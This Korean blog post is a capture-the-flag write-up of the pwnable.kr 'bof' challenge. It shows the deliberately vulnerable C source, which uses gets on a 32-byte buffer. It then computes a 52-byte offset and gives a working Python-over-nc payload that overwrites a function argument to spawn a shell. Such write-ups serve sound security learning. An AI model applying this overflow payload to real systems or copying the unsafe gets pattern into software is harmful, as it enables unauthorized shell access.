할머니께서 버퍼오버플로우는 가장 쉬운 소프트웨어 취약점이라고 하셨다!! 이게 정말인가요~?~? 라는 문제다.

이전 문제들과 달리 nc로 접속하는 문제니까 우분투를 통해서 접속을 해보았다.


그냥 이러고 끝나버린다. bof공격을 해서 쉘을 따도록 하는 문제인 것 같다. 일단 문제에서 소스파일이랑 실행파일을 다운하라고 했으니까 다운로드 받아보자~!~!


bof

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

해당 파일과 소스코드이다.


코드는 매우 간단하다. func에서 key를 인자로 받고 함수 안에서 overflowme라는 크기가 32인 배열을 만든다. 그 후 gets함수를 통해 overflowme에 문자열을 입력받는다. 그 후 만약 key가 0xcafebabe와 같다면 /bin/sh를 시스템함수를 사용해서 실행시킨다. 


공격 시나리오는 매우 간단하다. gets함수는 매우 잘 알려있듯이 bof취약점이 존재하는 함수이고 이를 통해 key값을 변조하면 된다.

더미값을 알아내기 위해 아이다를 통해 확인해봤다.


배열의 시작주소는 ebp-2c이고 key값이 존재하는 곳은 ebp+8인 것을 알 수 있다. 즉 0x2c + 0x8 = 52이므로 52만큼 덮으면 key값을 변조할 수 있다. 이제 페이로드를 짜보자.


(python -c 'print "A"*52 + "\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000



간단하게 성공~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] passcode  (0) 2019.01.13
[pwnable.kr] flag  (0) 2019.01.12
[pwnable.kr] collision  (2) 2018.12.29
[pwnable.kr] fd  (0) 2018.12.27

+ Recent posts